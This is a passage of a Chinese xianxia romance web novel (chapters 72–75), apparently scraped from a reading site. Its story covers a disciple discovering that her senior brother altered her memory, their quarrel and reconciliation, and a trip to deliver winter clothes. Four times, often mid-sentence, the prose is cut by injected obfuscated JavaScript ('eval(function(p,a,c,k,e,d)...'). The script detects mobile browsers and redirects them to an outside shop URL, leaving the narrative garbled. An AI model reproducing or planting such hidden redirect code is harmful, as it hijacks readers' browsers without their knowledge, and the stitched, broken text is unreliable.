这会人都差不多到齐了,石映心坐在火桶边给大家烤肉,烤着烤着看见师父乐呵呵地在喝酒,忽然想起之前师妹说她喝醉了大师兄生气的话,算一算那是好几日前的事了,大师兄应该早就不气了吧,说起来…… 咦,怎么没瞧见大师兄? 她左看右看,确实没来。便问二师兄,后者一副才想起来的模样:“啊,我没和你说吗,大师兄昨日就下山了,好似是要办什么事呢。” 石映心微微一愣:“我没听说。” 往常大师兄下山的时候都会问一问她要不要捎带什么回来…… 曾换月在边上道:“可能没来得及和师姐你说呢,大师兄看起来有些着急。” 石映心:“哦。” “这小子一天天的没个消停,也不知道劳逸结合。”慕雲端着酒壶凑过来,“你们何时见他休息过两日?” 三个徒弟摇摇头。 莫默加入话题:“你们提到这个我也想说一句,自明易从合欢宗回来后,我总觉得他哪里怪怪的……” “哪里怪啊?” “啧啧。”莫默却摇摇头,“说不上来。好似对修炼更上心了,有一回他大半夜还在院里练剑呢!” 晴雯奇道:“你大半夜的去明易洞府做什么?” 莫默支支吾吾地解释:“前几日戒律堂要检查日行札记,我平日偷懒耍滑都写得很应付,便想着借明易的看看……” 曾换月呵呵:“大半夜去借啊?” 莫默心虚地眨眨眼,咳咳几声挪开话题道:“总之他大半夜的不睡觉在练剑,真是叫人无语。” 顾梦真:“难道师兄急于破镜?” “不是吧。”慕雲觉得不是这样,“前几年年少气盛是心急些,这几年我看还好呢,平日除了日常修炼,都在忙戒律堂和因果牌的事。而且他心里清楚,元婴入化神还需机缘。” 莫默点点头,又说:“不过他这段日子对戒律堂的事也格外上心,早早地来晚晚地走,走了还不休息继续修炼,真可怖一男的,以前还会抽空去和映心练剑的……” 他说到这,大家纷纷看向石映心:“映心,你是不是也觉得明易最近有些古怪?” 石映心把烤焦的肉串放到二师兄盘子中:“不知道,从合欢宗回来后我就没见过大师兄了。” “是哦。”大伙也没觉得奇怪,曾换月摇头感叹道,“大师兄也太认真了,又正经又自律……世上怎么会有这样不喜欢偷懒人呢?搞不懂他心里在想什么,要是师姐也能照一照大师兄就好了。” 石映心迟疑地愣了一下:……照? 慕雲“咦”了一声,看向石映心:“可我听你们天虚师公说明易的黑镜坏了啊,前几日还在问能不能再做一个新的呢。” 黑镜坏了? 石映心忽然觉得脑子一抽,她疑惑地捂住脑壳,面上有些茫然。 “啊?”曾换月惊讶,“黑镜什么时候坏的?” 顾梦真推测:“应是在最后抵御巨浪的时候吧,我还看见大师兄被反噬了,是映心扶着他下来的。” 巨浪……反噬…… 石映心的脑子又抽了两下,像是有人弹皮筋似地弹了她的神经。 曾换月可惜道:“哎呀,师姐错过了这次好机会!” 好机会…… 石映心:脑子抽抽。 慕雲这时候发现她脸色奇怪,关切地问:“映心怎么了,头疼?” 石映心微微甩了甩脑袋,实话实说道:“不疼,只是有些……脑抽。” 大伙一愣,下一秒都哈哈大笑起来。慕雲哭笑不得道:“傻瓜,你是不是又喝酒了,还是偷偷照了为师?你分明酒性不好还屡教不改,真是不知道拿你怎么办好。” 我没喝酒啊。石映心想,她没喝,那天晚上也没喝…… 那天晚上? 可是小师妹说大师兄说她喝酒了……但……好奇怪,好奇怪!有哪里不对劲。 石映心一敲脑壳,停止纷乱的思绪,双目定在面前的焦黑肉串上坚定地想,等大师兄回来,她一定要问清楚那天晚上到底是怎么回事。 嗯,就这样。 “呸呸呸!映心,这肉串都焦了你还放我盘里!” 映心回神来:“哦,我方才没找到地方扔,就先放一放。” 二师兄无能小怒:“你——你别烤了,边上吃着去!天天瞎捣鼓……” “熟能生巧嘛二师兄。” “那你为何不自己吃呢!” 石映心就不说话了。 肉串烤到什么程度好吃她尚不熟悉,但谁最好欺负她不还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013666|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚吗? …… 这天晚上只是略有察觉,但不多。 接着是七日后休沐,曾换月来她洞府找她玩,二人坐在院中一边晒太阳一边看话本吃小食。小师妹近日很着迷从合欢宗买来的话本,常常一看就是一个通宵,然后第二日顶着黑眼圈去师父那上课的时候被大骂一通。 这也是个屡教不改的,还算了算,说是距离话本看完还要被师父大骂六通……有可能会少两回,因为今日师父骂她的时候已经有些嗓子哑了。 石映心一时分不清谁更可怜。 “唉!”这会她看到兴头处,怒叹一声,“这破男主有话不说,一遇到事情就逃避,看得我都经脉淤堵了!” 石映心摸她的手腕脉搏,除了很激动外还好好的。她放下心来问:“为什么他不有话直说呢?” 曾换月白眼一翻:“不知道啊,神经!” 石映心点点头:“确实,我也讨厌有事不说。” 又看了一会,曾换月黛玉捧心喘气道:“受不鸟了,这口口男主,真他爹的脑子有口口,女主主动找他解释,他居然避而不见,就这么躲了女主好几个月!他爹的口口口口……” 石映心感受到师妹的气急败坏,拍拍她后背安抚道:“不要生气,既然是男女主,总会见到面的。” “可我着急啊!”渐渐地,曾换月发展到谩骂作者的阶段,“这口口作者,偏要这么急死读者是吧?以后他的书我都避雷!!” 石映心说:“那是比天雷好避的。” 曾换月越想越气,把书往桌上一pia,嘟囔道:“要是我来写的话……我就这么写:女主冲到男主家中,男主避之不见,女主抬起一脚把门踹飞——跑进屋攥住衣领质问到底什么回事!” 石映心觉得这剧情有些刺激,期待地问:“接下来如何呢?” 曾换月勾起一抹恶毒的微笑:“接下来?呵!若是男主不说,就给他一巴掌!再不说,再给一巴掌!看我把他的死嘴打烂!他爹的,长了一张只会强吻不会解释的破嘴,真是可怕得很!” 她一边说一边咬牙切齿地左手右手快动作扇空气,挥来的掌风吹开石映心的碎发,让她有片刻的神志恍惚。 巴掌……强吻…… 这剧情总觉得有些…… 想到这里又开始脑抽了。也是这脑抽让她记起自己有事要问大师兄,不知道大师兄什么时候回来…… 曾换月还在边上气鼓鼓地说:“可恶,这作者的两本书都看得我好气,早知道还是看之前那个作者的书好了……可惜这次大师兄走的时候没找他帮忙带话本,这会他都已经回来了……” 石映心:? 她微微诧异地抬眼看去:“大师兄回来了?” “回来了啊。”曾换月也是一愣,脸上的愠怒都凝了一些,“前天就回来了,师姐你不知道啊?” 石映心:OO? 曾换月:OO? 四O相对,还是曾换月先奇怪道:“欸,以往大师兄回来都是师姐你和我说的呢,怎么这次我是一手消息了?” 那可不是嘛,先前每回明易从山下回来,都会先去找石映心,要么是给她送小玩意,要么是嘱咐什么,更多时候是陪她练会剑弥补离开的空白……但是这次? 73. 第 73 章 不对劲,石映心这会终于感到很不对劲了,喃喃道:“说起来,自从合欢宗回来我就没见过大师兄了。” “什么?”曾换月大惊,“这都快一个月了,师姐你还没见过大师兄!怎么回事啊?” 石映心微蹙眉头:“不知道,但也不是他不见我,或者我不见他,就只是……没碰上。” 不刻意的不巧,叫人拿不准。但他们师兄妹四个感情好,都在一个山头上,鲜少有这么久没见面的时候。 二人思酌许久,还是曾换月说:“师姐,不管怎么看师兄都像是在刻意避着你,是不是你在不知情中惹他生气了?你和师兄最后一次见面是什么时候?” 石映心道:“就是合欢宗烟火大会那晚。” “哎呀,”曾换月垂手定音,“那定是你喝醉闯祸了!” “但我记得我没喝酒……” “没喝酒的话,你怎么会忘记了当晚的事呢?”曾换月挠挠脸,“想不明白,不如你直接去问大师兄吧!我们都要做长了嘴能解释误会的爽快人!要是大师兄不说,你就、你就……” 石映心还记得她刚刚吐槽的剧情:“打他嘴巴子?” 曾换月一吓:“不不不,这不好不好……大概率是你做了错事,师姐你不能再一错再错了!” “那该如何?” “你就……死缠烂打吧!大师兄拗不过你的!” 石映心想想也是:“好,我这就去找他。” 这个时间明易大概率在戒律堂,石映心本想直接过去,但又怕轻举妄动再被大师兄躲开,还是要猝不及防地出现好;于是脑子一转想了个妙招,折了张要传给大师兄的传音鹤,跟在它后头寻过去。 没想到传音鹤飞去了日月洞,“咔”的一声撞到了门上,掉落在她手心。 石映心不打算敲门,一推——没推开。 这没办法了,她只好砰砰砰地闹起门来,在外边喊:“大师兄!我是映心!” 没动静……倒也不算,毕竟她敲门的动静太大,遮盖住了屋里的声音:“大师兄开门呐,别躲在里面不见我,我知道你在屋里!大师兄——” 门被打开,许久未见的大师兄还是那副熟悉的模样,微微皱着眉的无奈,摇摇头叹气道:“你这么大动干戈的做什么?门都要被你敲坏了。” 石映心第一时间就是照他——没照着。难道师公已经做了新的黑镜给大师兄?唉,真是照不逢时。 她顿时有些失落,只好直白问道:“大师兄,你最近是不是躲着我?” 明易挑眉道:“难为你发现了。” “为什么躲着我?” “还问为什么,”明易呵呵一笑,“你方才是不是照我了?” 石映心:OO “没有。” “没照着是不是?” 石映心叹气道:“师公这么快又给你做了一面黑镜。难道你就是因为不想被我照,所以这几日才躲着我吗?” 明易说是。 石映心又问他何时得了新黑镜,明易说:“前几日下山去找炼制黑镜的材料,昨日刚得的镜子。” 昨日?“那你已经得到了黑镜,为什么还不来找我?” 明易一顿,视线轻巧地移开了:“无缘无故的找你做什么?和你炫耀?到时你又不高兴。” 石映心皱眉:“但你避着我不见我,我也会不高兴。” 明易无辜一笑:“我以为你不会发现。” 石映心:……确实差点没发现。 好吧!这事暂且搁边上不谈,她还有别的问题:“大师兄,换月说烟火大会那晚我喝醉了,你很生气,确有其事?” 明易眨了下眼睛:“嗯。” “你生气什么?” “……我叫你别喝,你偏要喝,喝醉了就不省人事,还得我背你回去。你一不听话,二给我惹麻烦,我生气不应当吗?” 石映心盯着他,忽然笑了一下:“大师兄,你骗人。” 明易也看她,面无波澜:“你照不见我,怎么知道我骗人?” “原因有二。”石映心难得有这么严肃认真的表情,“其一,我喝醉了酒是不记事,但前两回都记得自己有没有喝酒,刚喝酒时的难受也记得,但这回什么都没有;其二,我这几日总是脑抽,隐隐约约觉得忘了什么重要的事,但怎么也想不起来……” “最重要的是,”她一下攥住了明易的手臂,像是在防止某人逃脱,“前几日师父和我说,元婴后期会学一奇术,能将灵识聚于元婴之中,不仅能脱离□□、沟通天地,还能夺舍肉身!我便问师父能不能侵入人的灵识、篡改人的记忆……” “师父说能。”她看着大师兄漂亮闪烁的双眸,露出一个狠狠的笑,“但是师父还说——这些功法有些邪气,学了容易走火入魔!” 听到这,明易便侧过了脑袋移开了视线,原先还有些笑意的脸上也尽是漠然。他想把师妹的手甩开,但转而又让她拉住了袖子。 这人还在不依不饶地问:“大师兄,那晚到底发生了什么,你为什么要篡改我记忆?你要是不说,我就去告诉师父——” “石映心!”明易对着边上的门框轻声一喝,“你就不能给我留些隐私吗?” “大师兄你有什么隐私?” 明易对着门框说:“那晚要不是你照了我,我也不会出此下策。你若不想因此事影响我们二人的师兄妹情谊……便不要再问了。” 这么严重吗?还影响师兄妹情谊…… 石映心更好奇了。 她想起师妹的支招,不依不饶道:“大师兄,发生什么事都不会影响我们师兄妹情谊的,你就和我说吧~如果你不愿意告诉别人,我定不会说出去的!但你不能篡改我记忆,明明我已经知道了,你又让我不知道,我不能接受这样……” 听着她的絮絮叨叨,明易的额头都要抵上门框了,他低声喃喃道:“你根本就不懂。就连我自己都……不知道怎么面对自己……” 石映心还在那:“大师兄!大师兄你说话呀……” 明易狠狠叹了口气,使劲把袖子扯了过来,转身道:“你要去和师父说就去吧。” 哇,他居然这么说!石映心见他要走,心里真是不得劲极了,气得一跺脚,猛地扑了上去——啪! 别紧张,只是给她大师兄的背来了一对巴掌。 明易被推得一个踉跄,好险没摔倒,稳住身形后转过来瞪她:“石映心,你不要太过分了。” “大师兄你才过分,”石映心横眉竖眼的,“若不是什么见不得人的心思,你何必大费周章地篡改我记忆!你该不是做了对不起我的事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石映心虽然生气,但也没去师父那告状,甚至小师妹问起来,她也只是撇了撇嘴,不想多说。大伙很快发现了她和大师兄在闹不愉快,这是很罕见的,往常谁惹她不高兴了,她要么告状要么搞点恶作剧,然后就高兴了。哪里见过她和人冷战的? 慕雲便叫来明易问话,明易有些惊讶石映心没告状,那他更不可能说了。嘴硬地说不清楚,请师父去问映心吧。 从大徒弟这问不出什么来,慕雲又问石映心,这家伙又让她去问明易……搞什么玩意,这样不是没完没了的? 师父觉得从三徒弟这好下手,拉着她说:“你们两个有什么事不能和师父说呢?” 三徒弟道:“我是什么事都能说的。” 这意思是明易有事不和她说。 慕雲又问:“大师兄是比你们几个多思虑一些,映心再过几年就明白了。” 三徒弟道:“他思虑多也和我无关。” 这意思是二人的矛盾比较有针对性,可能只和她个人有关。 慕雲再问:“你也知道他就是这副德行,平日比较端着,不和你二师兄小师妹似的和你打打闹闹,但心中是很关怀你们的。” 三徒弟道:“知人知面不知心,谁知道呢。” 这意思是和她照不到明易有关。 74. 第 74 章 但这问题存在已久,二人都应该习以为常的,怎么会突然爆发呢?慕雲便想到在合欢宗黑镜坏了的事,也就是说那时候映心是有机会照明易的,但后来映心却说自己不知道,再结合她前段时间总是说自己脑子抽抽的,好像忘了什么…… 聪明如慕雲,了解徒弟莫若师父,她很快便有了头绪:“为师明白了,是不是大师兄黑镜坏掉的时候你照了他,得知了他的小秘密,但他却用元婴入你的灵识,篡改了你的记忆?” 石映心:!? “师父,你怎么知道?” 瞧见徒儿惊讶的神色,慕雲得意一笑:“你俩在我眼里都是半大的孩子,还是我从小拉扯大的,平日待在山上不入世,心思单纯(好骗),高兴的事情不高兴的事情总共也就这些原因,为师怎么会不知道呢?你就是气好不容易照到了明易,但又被他糊弄,对不对?” 师父真厉害,石映心佩服地说:“师父,全都被你说中了。” 于是拉着她说:“那你帮我想想办法吧,大师兄死活不告诉我,我有没有办法恢复那段记忆?” “映心。”慕雲却是叹了口气,拍拍她的手,语重心长道,“每个人都有自己不为人知的小心思,大师兄有,师父有,你肯定也有对不对?既然大师兄不想你知晓,为何你还要勉强他呢?这样不好,不好。” “师父,映心明白的。”石映心也认真地说,“你从小就这么教导我,我已经改了爱照人的毛病了,只偶尔很好奇才照一回。但大师兄……从小就不让我照,我是好不容易才逮着的机会……” 慕雲倒是理解:“欸,师父明白,只不过……” “而且,”石映心紧接着道,“当时只有我和大师兄二人,我们坐在沙滩上看烟火,大师兄莫名骂我笨,我问他为何,他却看烟火不说话了。那我想照照他知道为什么这不是很应当吗?难道他不想我知道的心思藏在觉得我笨的原因里?” 慕雲一愣:“嗯?是这样的情景吗?” “对啊对啊。”石映心越说越有些来气,“前几日我去问他,他说不让我知道是怕影响我们师兄妹情谊……” 慕雲二愣:“哦?他竟是这么说的?” “可不是吗?”石映心哇哇道,“更可恶的是,我说难道你是对我有杀心才故意隐瞒我,他居然不解释,还让我不要闹了。师父你知道的,大师兄最不会说谎,他分明是欲盖弥彰!” 慕雲三愣:“啊?你是这么想的?” 石映心握拳往桌上一捶,震得茶盏发颤:“大师兄根本就是讨厌我!” “……” “指不定是我照了他之后对他出手了!所以反过来——是他想对我出手!” “……” “怪不得日日说我笨,还不让我进他屋里玩,但凡我做点坏事就板着张脸训我!” “……”等等,这不是应该的? 石映心恶狠狠道:“无所谓,反正我也要讨厌他!” “……” 慕雲看到了一个天大的误会,但她一时也捉摸不清大徒弟到底在想什么,只得先把石映心安抚下来,说了一些明易的好话,虽然见她气上心头也没听进去多少的样子……总而言之,先把人打发走了。 只好又叫明易过来。 开门见山道:“为师大概也猜到你们二人的情况了,并不是映心告你的状,不过后来她也和我说了些详细的……” 慕雲盯着神色平静的大徒弟:“所以你对映心有什么不可告人的心思啊?” 明易:…… 平静的脸上还是出现了一丝波澜:“总之不是她说的那样。更多的……师父您还是不要多问了。” “明易。”慕雲继续语重心长,“为师知道,一开始我收映心做徒弟的时候,你心中对她有些不满,但依旧担起了大师兄的职责;这些年来,你对三个师妹师弟的用心我也看在眼里,自然明白是映心误会了,你怎么可能讨厌她呢?” 明易沉默的视线对着前方的地面,静了片刻后还是点了点头。 “为师不多问你,不过你还是得和映心好好解释,她觉得你讨厌她,面上瞧着生气,其实心里可伤心了。都是一个山头的师兄妹,抬头不见低头见的,你也不想一直这样下去吧?” 明易颔首。 “这事你们二人都有错处,不过还是委屈你一下,先去和映心示弱;她的性子你也知道,别人待她如何她就如何,你同她硬着来,她就和你硬碰硬。好好和她说,她不会不懂事。” 明易迟疑了一下,还是把头点了点。 师父的提议也是他想的,可为何迟迟不付诸行动呢,还不是因为没找到能应付她的借口吗……唉。 他这几日也无心在戒律堂办事,但又习惯用繁杂的公事来麻痹自己,等忙碌了一天之后躺在床上,却偏偏睡不着,真是折磨的恨,只好又起来修炼。好在修仙不需吃饭不需睡眠,除了脑子累一些,身体倒是无恙。 从师父的云雨峰回来,明易在洞府里坐着,出神地把玩着手上的玄猫木雕,脑海里浮现出那晚在她院子里见到的一堆石头。 她一定……不是怀着多少心思做的,但偏偏又那么认真。 想不明白她,更想不明白自己,为什么会喜欢映心?又是从何时开始的?怎么就以这么一种荒唐的方式叫他如遭雷劈、当头棒喝了? 他分明……对她没有任何肮脏心思(自以为),只想作为师兄好好照顾她,给她收拾一些烂摊子,一边陪着她和师父师弟师妹,一边为归壹派效力……这些想法,其实对梦真和换月也是差不多的,可是怎么会…… 这和他的预想不同,他不想改变这些稳固的关系,爱情一事却最是扑朔迷离,更别提石映心这个情况……她懂什么呢?若她知道了,她会怎么看待他? “大师兄,没想到你嘴上说得好听,什么谈情说爱最是耽误修行,要六根清净摒弃杂念巴拉巴拉,结果心里却对我有这些肮脏心思,怪不得你总不让我照,真是知人知面不知心,我看错你了!” 明易:…… 太冤枉了,他也不知道他想亲她;他只是看着她的眼睛有些走神,神识之外怎么会想这样可怕的事呢? 也许他真的是一个表里不一、口是心非、衣冠禽兽、人面兽心……的伪君子。他躲避映心的探究,甚至也躲避自己了解自己,他……竟然这么胆小吗? 明易抓着木雕的手紧了紧。 但不管如何,他都不能再懦弱下去,他不能做一个知错不改的糊涂蛋,不能再自欺欺人地逃避自己的情感,更不能因此伤害到映心…… 他不能这样。 这一边的大师兄在“认识自己”,另一边的石映心情况也不大妙。躺在床上翻来覆去地睡不着。捧起边上的夜明珠玩了玩,一个走神砸到额头上,好在她额头坚硬能抗住,要是砸鼻子上就完蛋喽。 唉…… 唉…… 唉…… 揉揉发疼的脑壳,她心中苦恼,毕竟从来没和换月二师兄闹过这样的别扭,这下气话也说尽了,等消停下来一回想,就有些隐约的愧疚和委屈。 想想师父说的也不无道理……大师兄一向待她很好的,怎么可能会讨厌她呢?她当时这么说其实有些故意成分在,大概只是想激将一下大师兄,让他解释解释,可没想到大师兄避而不谈,让她也怀疑起来。 她是习惯了师妹和二师兄的毫无保留……虽然他们也没什么秘密;大师兄和她们是不同的,只是这么一对比,心中就有些落差。其实于情于理,她也不该这么霸道,要求大师兄和换月她们一样。 每个人都是不同的。 最不同的是她自己。也许真的是她摆脱不了镜灵的特质,总是好奇地想去窥探什么,哪怕她并无恶意,但在他人看来也很冒犯……小师妹二师兄不在意,不代表其他人也没关系。 唉! 石映心从床上坐起来,自觉这次做错了事,还是去和大师兄道歉吧。 就在此时,她听见院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16026484|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中有铃声传来,心中莫名激动,一跃身从床上跳下来往屋外跑去。到了院中,果然见一熟悉的身影站在石桌边,可不就是她大师兄吗? 石映心并不觉得尴尬和不自在,在她的认识里仿佛没有“丢面”这概念,往往只是自己想不开,若她想开了,就毫无顾忌地去做。比如这会就跳到她大师兄面前,因为“想大师兄,大师兄就到”的事感到欣喜。 “大师兄你怎么来了,我正想去找你。” 但明易是个正常人,虽说明白师妹“不正常”,但他鼓起勇气过来,见她这么熟络的态度,心下松了口气又撇过视线,不自在道:“你……你找我做什么……” “我想明白了。”石映心认真地说,“这事先错在我,我不该乱照你的,明明知道你不喜欢这样,我还知错犯错,惹你生气……大师兄,是我对不起你。” 她竟然先道歉了。明易有些受宠若惊,本是心沉沉地过来,这下变成心酸酸的了,一时有很多动容和委屈,鼻尖一酸就说不出话,也不敢看她。 “大师兄?”石映心见他侧着脸没反应,扒拉了他一下,“你还生气吗?你不原谅我吗?” 明易深呼吸压下情绪,尽量平静地说:“我从来没有生气,也没有怪你。” 石映心摇摇头:“你可以生气,也可以怪我,做错事就要承担后果,你怎么骂我都行。” “我不骂你。”明易微微摇头,“我来也是想和你说清楚,先前让你误会我讨厌你……是我不好。” “我其实也知道师兄你不讨厌我,”石映心看着师兄,语气略心虚,“我只是想诈你一下,让你说实话……而且除此之外,我实在想不到你有什么事不能和我说的。” 明易:“我……” “但我现在不想了!”石映心赶紧补充说,“我以后再也不会照你了,每个人都有自己的秘密,其实我只要知道,大师兄还是我的大师兄,还是会一直陪着我,陪着师父和换月她们……这样就够了。” 听她这般将心比心的话,明易心中感动又苦涩,映心都在反思和进步,他作为她信任的大师兄,更不能继续自欺欺人。 于是变出一个巴掌大的镜子来,向她一递,软声道:“我也想明白了,日后要对你坦诚相待。所以如果你要照……那就照吧。” 眼中钉黑镜就在眼前,石映心的眼睛都瞪大了一些,但她很快转过脑袋,把明易的手推了回去:“不,我说到做到。” 明易又递过去:“我说的也都是真心话。” 推回去:“不行,我不会照你的!” 递过去:“没事,映心。” 推回去:“大师兄,你不要勉强我!” 递过去:“我知道你想。” “我不想!” “你想。” “我不想!” “你想。” “我不想!” …… 最后整得两人都有些精疲力竭,石映心最后一下把黑镜推回去,竖起三根手指头道:“我石映心发誓,如果之后再照……” “别说傻话!”明易连忙把她的手摁下来,无奈道,“好,不照就不照。那黑镜就先放我这。” 石映心松了口气:“嗯。” 又问:“大师兄,那我们这算和好了?” 这说法有些幼稚,明易想,笑着点了点头。 石映心也笑了,只不过是看着他的笑在笑,看了会后说:“大师兄,那晚你也是这样看着我笑,你笑得这么好看,怎么可能是坏念头呢?我就知道你是对我好的。” 那晚也是…… 明易呼吸一窒,紧忙移开视线,不自然地把嘴角收了回来:“好了,既然误会都解释清楚了,你快回屋里休息吧。” “哦,大师兄你也是。” “嗯。” 今夜月色大明,照得御剑而过的人无所遁形。可惜只是形罢了,如何才能照透人心呢? 这是一个对镜灵来说都很难的问题。 75. 第 75 章 十月一,送寒衣。 这一日,归壹派的弟子们要下山去,给民间的贫困人家送她们亲手做的棉衣棉裤棉鞋等。做这些寒衣是每个弟子在课上要学的功课和手艺,石映心还记得当时教导她们的尚琳师叔说: “我等能修仙,乃是天赐的机缘;有人说修仙是逆天而行,我是不赞同此观点的。修仙者吸收天地灵气转化为自身灵力,天地灵气从何而来?自是来源于普天之下的生灵。一人一兽是,一花一木亦是。善待凡人,善待万物,我等责无旁贷,身为归壹派的弟子则更应如此。” 她们做棉衣不得用法力,需亲力亲为,无灵力添加;做的时候边上会有弟子念大道理书,一边听一边沉浸式做衣服,这也是静心修炼的一种方式。 石映心的手艺很烂,不过年年月月都要上这个课,再笨的人也能熟能生巧;每年十月一时,万事堂的帮事弟子们就会将前几个月弟子们做的棉衣都筛查一遍,把能用的都带下山去。 前两年石映心只被选上了两对足衣(袜子),没用上的寒衣她就拆了,留着棉线下次再重复利用,这还是二师兄教她的;之后的手艺好了许多,渐渐的能被勉强收用。 只是有一日她做棉衣走得晚了,被尚琳师叔交代去万事堂送棉衣,于是就过去了。送好东西正要走,正巧看见一个帮事弟子拎起她的棉背心说:“哎呀,这件没穿两日就要破了,未免被凡人说我们门派送破烂给他们,还是退回去吧。” 石映心:OO 边上另一个帮事弟子却说:“没事,留着吧,先前我去的那村里有不少野猫野狗,有些还大着肚子很可怜呢。到时候合着稻草一起垫它们窝里,好歹是救下几条狗命猫命。” “嚯,这些猫狗倒是因祸得福了,哈哈哈……” 石映心:OO 她倒没什么想法,救谁的命不是命呢,心里也没点失落,挠挠脸就走了。 话说回来,又到了今年的寒衣节。因为前几月下了两次山,回来又要休憩偷懒,这师兄妹三人的寒衣任务还没完成,不完成是要被罚灵石和通报批评的,所以这几天都在抱佛脚赶衣服。 还去央求大师兄和师父帮忙,实在是厚脸皮得很。 缝缝补补几天,终于完工了,交上去后大伙心里都舒畅许多。小师妹说天气冷了,可以开始吃火锅了。于是一连吃了好几天火锅,吃得她师父脸上都冒痘了,这才打住。 不止是慕雲火气旺盛,其他几人也有上火的症状,石映心是脸上长痘嘴里长泡,喉咙胀痛,吞咽都有些难受,瞧着症状最严重。 小师妹心疼地炼了几颗去火的丹药给她,她还真敢吃,吃了就拉肚子了。最后还是去药膳堂买了药才好。 “师姐怎么回事呢?”这日师兄妹一起吃饭,曾换月对看着一盘子清汤白菜的愁眉苦脸石映心疑惑道,“最近很容易上火啊。” 石映心可怜巴巴吃白菜:“不知道。” 顾梦真这时说:“我们几人之间最易上火的就是映心,最不易上火的是大师兄,我好似从没见过他长泡长痘。” 明易闻言抬起眼看了看石映心鼻子上的那颗痘,抿着笑点了点头。 曾换月啧啧啧:“好奇怪啊,个人体质问题吧。” 体质?石映心看筷子下的清蒸鲈鱼,忽然想起泉芷,便说:“嗯,可能是因为大师兄体质偏寒,我体质偏热。” 明易微一挑眉:“这是怎么来的结论?” 石映心有理有据地解释:“大师兄你用的是寒竹剑,剑气冻人;我能和泉芷平衡阴阳,鲛人族体质阴盛阳衰,那我便是阳盛了。” 明易听到这笑了一下:“哦?你怎么和泉芷平衡阴阳?” “双……”石映心一顿,低头说,“这道菜原来加了蒜,味道不错。” 明易:呵。 他当时就心知肚明某人的秉性,因此并不多意外。好在合欢宗的双修之法正规,仅此一次也无碍。不过她说的这些体寒体热,似乎也有些道理。 “好有道理啊。”曾换月动了动小脑袋瓜思索,“那照这么说,是不是师姐和大师兄双修、把火气传给师兄的话是不是就不会上火了?” 明易:。 顾梦真“欸”了一声:“理论上可行!” 明易:。。 石映心叹气:“唉,喉咙好难受。” 明易:。。。 “这里是归壹派,不是合欢宗。”明易放下筷子,“还不快吃完饭,随我下山送寒衣,再慢些要天黑了。” “好吧。” “哦。” 原先万事堂送寒衣的帮事弟子下山做任务去了,这事几经辗转到了明易手上,被他的师妹师弟得知后就吵吵着要去。反正是个简单的小任务,明易也就同意了。 吃完饭就下山去,这次他们要去的琼州边上的一个小村庄,御物飞行过去也不远,两刻钟便到了。 一落地瞧见面前的村庄,顾梦真一时迈不进去脚,苦着脸说:“不知为啥现在看到这些小村子我都有些不敢进去。” 曾换月哈哈嘲笑他:“海螺村后遗症!” 明易瞥他一眼:“快进去送了衣物,早去早回。” 大家说好。 进了村却有些奇怪,怎么走了一会没见到人影呢?按理来说今日是寒衣节,村民们都会等候归壹派来人呀?明易放开耳识听了听道:“村民们似乎都聚集在了一处。” 既然如此就走过去瞧瞧,等走到村尾的村庙处,就见一大堆村民在那里排队干嘛,排完队的也不离开,挤在边上凑热闹。这天气冷飕飕的,这堆人气却是热火朝天。 几人疑惑地揪了一个面善的大娘问发生了什么事。 大娘看到他们很欣喜:“啊呀,你们就是归壹派的仙人吧?来送寒衣的是不是?” 她们说是。 大娘歉疚又热情道:“实在对不住了各位仙人,昨日我们村里啊来了个贵客,说是能卜算天机呢,老准了!现在大伙都在排队算命嘞。怕是要耽误几位的时间了,不如你们先把寒衣放去村长那,待会由村长分给村民。” 先前是这样办的,但后来出现过村长贪污的情况,所以万事堂规定要亲手送到每个村民手中。 明易礼貌微笑道:“没事,我们去这位贵客边上候着,等村民们算完命再来我们这领衣服正好。” 大娘竖大拇指:“好主意好主意!” 她们自然要去看看这个贵客是什么成分,顺着队伍走上去,在村民叽叽喳喳的议论声中,已经能听到贵客的说话声: “这位大哥,一人一问,你想问什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16033137|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位大哥沉思了一下道:“俺儿女双全,妻顺母慈,吃喝不愁,要问的问题多是小事,随意一问的话有些可惜……” 贵客道:“既然你今生圆满,不如问问后世?” “这也能问?好,那大师您看看俺下辈子是不是荣华富贵、家财万贯?” 